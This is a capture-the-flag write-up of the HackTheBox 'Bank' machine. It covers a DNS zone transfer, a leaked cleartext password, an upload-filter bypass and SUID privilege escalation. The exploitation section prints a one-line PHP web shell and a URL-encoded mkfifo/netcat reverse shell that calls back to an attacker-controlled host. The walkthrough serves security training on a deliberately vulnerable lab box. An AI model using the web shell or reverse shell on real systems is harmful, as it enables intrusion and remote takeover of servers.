# Bank Writeup - HackTheBox

> Exploit SQL injection and LFI on a Linux web server, upload a malicious file for RCE, then escalate privileges to root via SUID binary abuse.

- **URL:** https://hackindex.io/writeups/bank
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/bank?sort_by=created_at&sort_type=desc
- **Tags:** sql-injection, lfi, file-upload, webshell, active-directory, privilege-escalation, suid
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

Bank is a Linux box built around a banking portal. The chain runs: an unrestricted DNS zone transfer that hands over the domain and an account name, a directory of transfer records where one file failed to encrypt and landed on disk in cleartext with the portal password, a debug handler that executes uploaded `.htb` files as PHP, and a custom SUID binary that drops straight to root.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:22
# Open $TARGET_IP:53
# Open $TARGET_IP:80
```

```bash
nmap -sCV -T4 -p22,53,80 $TARGET_IP -oA nmap/nmap
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
# 53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
# 80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
# |_http-title: Apache2 Ubuntu Default Page: It works
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Apache serves nothing but the stock Ubuntu page, so the interesting service is ISC BIND on 53. A DNS server on a Linux host usually means virtual hosts and zone data rather than a domain controller, and the web server is almost certainly waiting on the right hostname.

## Enumeration

### Finding the domain

A reverse lookup on the address returns nothing, so the domain has to be guessed. The box name is the obvious candidate and the target's own resolver confirms it.

```bash
nslookup
> SERVER $TARGET_IP
> bank.htb
# Name:   bank.htb
# Address: $TARGET_IP
```

`bank.htb` resolves against the target itself. With a zone name in hand, the next test is whether BIND hands out the entire zone to anyone who asks.

### Zone transfer

```bash
dig axfr bank.htb @$TARGET_IP
# bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800
# bank.htb.               604800  IN      NS      ns.bank.htb.
# bank.htb.               604800  IN      A       $TARGET_IP
# ns.bank.htb.            604800  IN      A       $TARGET_IP
# www.bank.htb.           604800  IN      CNAME   bank.htb.
```

The transfer succeeds, which it should not for an arbitrary client. Beyond confirming the hosts, the SOA record carries the zone contact in DNS notation, `chris.bank.htb`, which reads as `chris@bank.htb`. That is a username to keep for later.

Pointing the local resolver at the target keeps `bank.htb` and any subdomain resolvable for the rest of the box.

```
nameserver $TARGET_IP
```

With the vhost reachable, the portal itself can be enumerated.

### Content discovery

```bash
ffuf -u http://bank.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,301
# uploads                 [Status: 301]
# assets                  [Status: 301]
# inc                     [Status: 301]
# balance-transfer        [Status: 301]
```

`/balance-transfer` is a directory listing of account records, all named after a hash and all roughly the same size. Sorting the listing by size exposes one outlier that is far smaller than the rest, which is the one worth reading.

## Vulnerability Discovery

### A transfer record that never got encrypted

```bash
curl http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc
# --ERR ENCRYPT FAILED
# +=================+
# | HTB Bank Report |
# +=================+
#
# ===UserAccount===
# Full Name: Christos Christopoulos
# Email: chris@bank.htb
# Password: $CHRISS_PASSWORD
# CreditCards: 5
# Transactions: 39
# Balance: 8842803 .
# ===UserAccount===
```

The encryption routine failed on this record and the application wrote the report to disk in cleartext anyway, password included. The account matches the `chris@bank.htb` identity from the zone transfer, so these credentials belong to a real portal user.

## Exploitation

### Upload filter bypass

Logging into the portal as `chris@bank.htb` with the leaked password opens a Support section with a file upload form. The page source carries a developer comment that was never cleaned up.

```html
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
```

Apache is configured to hand `.htb` files to the PHP interpreter, and the upload filter never considered that extension. A PHP web shell saved as `shell.htb` passes the filter and still executes.

```php
<?php system($_GET['cmd']); ?>
```

```bash
curl "http://bank.htb/uploads/shell.htb?cmd=whoami"
# www-data
```

Code execution as `www-data`. Swapping the command for a named pipe reverse shell turns it interactive.

### Interactive shell

```bash
curl "http://bank.htb/uploads/shell.htb?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20$ATTACKER_IP%20$ATTACKER_PORT%20%3E%2Ftmp%2Ff"
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 36538
# sh: 0: can't access tty; job control turned off
# $ whoami
# www-data
```

Foothold as `www-data`, with read access to the user home directory.

## Privilege Escalation

### SUID binaries

```bash
find / -type f -user root -perm -4000 2>/dev/null
# /var/htb/bin/emergency
# /usr/lib/eject/dmcrypt-get-device
# /usr/lib/openssh/ssh-keysign
# /usr/bin/chsh
# /usr/bin/passwd
# /usr/bin/chfn
# /usr/bin/pkexec
# /usr/bin/newgrp
# /usr/bin/gpasswd
# /usr/bin/sudo
# <snip>
```

Everything on that list ships with the distribution except `/var/htb/bin/emergency`. The path and the name both say it was dropped in deliberately.

### Abusing the emergency binary

```bash
ls -la /var/htb/bin/emergency
file /var/htb/bin/emergency
# -rwsr-xr-x 1 root root 112204 Jun 14  2017 /var/htb/bin/emergency
# /var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386
```

Root owned, setuid, and world executable, so `www-data` can run it. There is no password prompt and no check on who invoked it.

```bash
/var/htb/bin/emergency
# # whoami
# root
# # id
# uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
```

Root shell straight out of the binary. Both the user and the root context are done at this point.

Related

## References

- [BIND 9 ARM: zone transfers](https://bind9.readthedocs.io/en/latest/reference.html#zone-transfers) - How allow-transfer restricts AXFR, the setting missing on this box.
- [GTFOBins](https://gtfobins.github.io/) - Reference for turning SUID binaries into a root shell.
